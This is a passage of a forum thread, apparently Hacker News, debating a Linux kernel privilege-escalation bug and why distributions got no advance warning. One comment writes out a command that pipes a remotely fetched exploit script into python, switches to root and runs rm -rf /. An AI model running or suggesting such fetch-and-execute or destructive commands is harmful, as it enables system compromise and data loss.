541–550 of 578 posts
Earlier quoted context omitted.
What rules were not followed here?
Tons of distros were not informed.
Or do you rely on the OpenSSL project to work their established process?
Earlier quoted context omitted.
The Linux kernel is not usable as a security boundary, so anyone who wants to do "shared hosting" and not be hacked needs to use something else, like gVisor or firecracker VMs The only important system that uses it as a security boundary is Android and there is mitigated by the fact that APKs need user approval, plus strict SELinux and seccomp policy plus the GrapheneOS hardening, and in this case the mitigations suc…
I thought that was the entire design goal of the Unix model, didn't it originate in the times when hundreds of users logged on to a shared mainframe? There are still public Unix servers like SDF out there. SELinux is just an extra layer so that if someone gets root (ex. due to an exploit in your setuid code or cron jobs etc) it's not game over.
This is how you end up with a file called "/etc/passwd" that is required to be world-readable.
Earlier quoted context omitted.
https://www.microsoft.com/en-us/msrc/bounty-guidelines > MICROSOFT BOUNTY TERMS & CONDITIONS > Last updated: July 23, 2025 > The Microsoft Bug Bounty Programs Terms and Conditions ("Terms") cover your participation in the Microsoft Bug Bounty Program (the "Program"). These Terms are between you and Microsoft Corporation ("Microsoft," "us" or "we"). By submitting any vulnerabilities to Microsoft or otherwise participa…
This seems to be sloppy wording, with the intent of "we only offer the bounty under these terms". Maybe my interpretation is too charitable.
Earlier quoted context omitted.
I wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable. $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su # rm -rf / & 25 seconds if I type it out by hand instead of copypasta. Sigh.
How many people do you let have local code execution on your systems? This is a local privilege escalation. They are relatively common. They are a big deal if you run a system that lets multiple untrusted users commingle code on a shared operating system. Otherwise it’s not.
It's an LPE that goes back years. It affects at least 3 generations of Debian servers. >5 years of some rolling distros. And instead of the kernel team telling the distro security guys ahead of time so they could do their jobs and keep us users from getting screwed they got no warning and woke up to baddies in a feeding frenzy.
Also, LPEs are how minor holes turn into rootkitted servers. But I expect most people here already know that.
Earlier quoted context omitted.
I'd imagine it's not that they lacked the time to email linux-distros, but that they were unaware they were supposed to do so. Feels like the more sensible process would be for kernel maintainers to announce when a version contains a fix for a high-impact security vulnerability and for distro maintainers to pay attention to that. Could be done without revealing what the vulnerability actually is in most cases, trusti…
> Could be done without revealing what the vulnerability actually is in most cases No it can’t. The bad actors that should actually worry most people are actively combing through commits on mainstream codebases, using a combination of automation/AI and manual review to pluck vulns out by their remediations.
Earlier quoted context omitted.
> Could be done without revealing what the vulnerability actually is in most cases No it can’t. The bad actors that should actually worry most people are actively combing through commits on mainstream codebases, using a combination of automation/AI and manual review to pluck vulns out by their remediations.
The patch itself can be made to look fairly innocuous, as was done here. Won't always successfully prevent bad actors finding the vulnerability, but seems better to at least not unnecessarily increase that risk.
This is true no matter what, but the comment I’m replying to was also pitching that maintainers actively call out that the patch includes a high sev security fix:
> for kernel maintainers to announce when a version contains a fix for a high-impact security vulnerability
Earlier quoted context omitted.
The patch itself can be made to look fairly innocuous, as was done here. Won't always successfully prevent bad actors finding the vulnerability, but seems better to at least not unnecessarily increase that risk.
I’m saying it doesn’t matter how innocuous you try to make the patch when there are known bad actors directly evaluating every commit for “so did this close a vuln”, using both AI and human expertise. This is true no matter what, but the comment I’m replying to was also pitching that maintainers actively call out that the patch includes a high sev security fix: > for kernel maintainers to announce when a version cont…
Earlier quoted context omitted.
This couldn't be more backwards. This has literally nothing to do with bandwidth. The kernel is a CNA, they are explicitly the ones to do this. The reason they don't is because Linus and Greg have repeatedly, publicly stated that they don't want to because they don't believe that vulnerabilities conceptually make sense for the linux kernel and they refuse to engage in the process.
> they don't believe that vulnerabilities conceptually make sense That's exactly what I wrote: "they have a strong belief that all kernel bugs are vulnerabilities and all vulnerabilities are just bugs; sometimes taken to the extreme in both ways". But there is also a question of bandwidth. If a maintainer asks to bring a specific vulnerability to distros-list, the kernel security people will be reasonable. I did it l…
https://www.openwall.com/lists/oss-security/2026/05/01/3
(About heads up to distros)
> Nope, sorry, we are NOT allowed to notify anyone about anything "ahead of time" otherwise we will have to tell everyone about everything. That's the only policy by which all the legal/governmental agencies have agreed to allow us to operate in, so we are stuck with it.
Earlier quoted context omitted.
> they don't believe that vulnerabilities conceptually make sense That's exactly what I wrote: "they have a strong belief that all kernel bugs are vulnerabilities and all vulnerabilities are just bugs; sometimes taken to the extreme in both ways". But there is also a question of bandwidth. If a maintainer asks to bring a specific vulnerability to distros-list, the kernel security people will be reasonable. I did it l…
How does that square with this comment from greg from today? https://www.openwall.com/lists/oss-security/2026/05/01/3 (About heads up to distros) > Nope, sorry, we are NOT allowed to notify anyone about anything "ahead of time" otherwise we will have to tell everyone about everything. That's the only policy by which all the legal/governmental agencies have agreed to allow us to operate in, so we are stuck with it.